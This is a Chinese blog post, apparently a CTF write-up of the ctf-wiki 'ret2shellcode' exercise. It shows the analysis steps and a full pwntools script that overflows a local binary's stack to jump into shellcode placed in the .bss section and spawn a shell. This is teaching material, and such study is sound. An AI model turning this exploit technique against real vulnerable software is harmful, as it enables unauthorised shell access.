ret2shellcode

作者: 杰_74 | 来源:发表于2019-07-01 19:29 被阅读0次

wiki上的链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/


什么保护都没有

把文件放入ida F5一下



把输入的s复制到了buf2



发现buf2在bss段,buf2地址为0x0804A080,检查一下buf2是否可写(通常都是可写的),因为没开保护,我们可以直接写入shellcode

输入命令gdb ./ret2shellcode,r运行,然后用ctrl+c打断一下,输入vmmap,可以查看buf2所在的区间0x0804a000到0x0806c000的权限为rwxp,w为可写

image.png

先算出偏移量112


写一下脚本

#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *

p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2 = 0x0804A080

payload = shellcode.ljust(112, 'A') + p32(buf2) 

p.sendline(payload)
p.interactive()

运行一下 python ./ret2shellcode.py



大功告成!

相关文章

  • 栈溢出 简本ROP ret2shellcode

    ret2shellcode 原理 ret2shellcode,即控制程序执行 shellcode代码。shellc...

  • pwnable.tw wp

    start 分析: ret2shellcode 流程:传入shellcode 并且执行 要点: 1.得到溢出,劫持...

  • ret2shellcode

    首先检查文件开启了哪些保护。 可以看到该文件什么保护都没有,这意味着堆栈是可执行的了。 将文件放入IDA反汇编ma...

  • ret2shellcode

    wiki上的链接https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sta...

  • 总结

    栈溢出技巧 ROP 基本ROP ret2text ret2shellcode ret2syscall 32位 调用...

  • pwn — ret2shellcode

    Ret2shellcode: 按惯例检查保护,发现啥都没开 用ida打开看main函数 发现了gets和strnc...

  • ctfhub - ret2shellcode writeup

    简介 在栈溢出的攻击技术中通常是要控制函数的返回地址到特定位置执行自己想要执行的代码。ret2shellcode代...

网友评论

    本文标题:ret2shellcode

    本文链接:https://www.haomeiwen.com/subject/oxwicctx.html